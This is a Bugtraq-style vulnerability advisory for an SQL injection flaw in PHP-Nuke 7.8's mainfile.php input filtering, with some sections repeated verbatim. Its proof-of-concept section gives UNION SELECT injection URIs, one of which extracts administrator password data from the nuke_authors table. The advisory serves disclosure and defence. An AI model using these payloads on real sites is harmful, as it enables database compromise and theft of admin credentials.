PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
BID:16831
Info
PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
| Bugtraq ID: | 16831 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 25 2006 12:00AM |
| Updated: | Mar 01 2006 01:46AM |
| Credit: | Janek Vind 'waraxe' is credited with the discovery of this vulnerability. |
| Vulnerable: |
PHP-Nuke PHP-Nuke 7.8 Francisco Burzi PHP-Nuke 7.8 |
| Not Vulnerable: | |
Discussion
PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
PHP-Nuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Reports indicate this issue is directly related to the filtering mechanisms PHP-Nuke uses to prevent attacks such as SQL injections. Therefore, this issue may affect all scripts and parameters that use the vulnerable filtering mechanisms.
PHP-Nuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Reports indicate this issue is directly related to the filtering mechanisms PHP-Nuke uses to prevent attacks such as SQL injections. Therefore, this issue may affect all scripts and parameters that use the vulnerable filtering mechanisms.
Exploit / POC
PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
This issue can be exploited using a web client.
The following proof of concept URI are available:
http://www.example.com/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click
http://www.example.com/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a
This issue can be exploited using a web client.
The following proof of concept URI are available:
http://www.example.com/nuke78p/?kala=p0hh+UNION+ALL+SELECT+1,2,3,4,5+FROM+ppp/%2aad_click
http://www.example.com/nuke78/?kala=p0hh+UNION+ALL+SELECT+1,2,3,pwd,5+FROM+nuke_authors/%2a
Solution / Fix
PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
PHP-Nuke Mainfile.PHP SQL Injection Vulnerability
References:
References: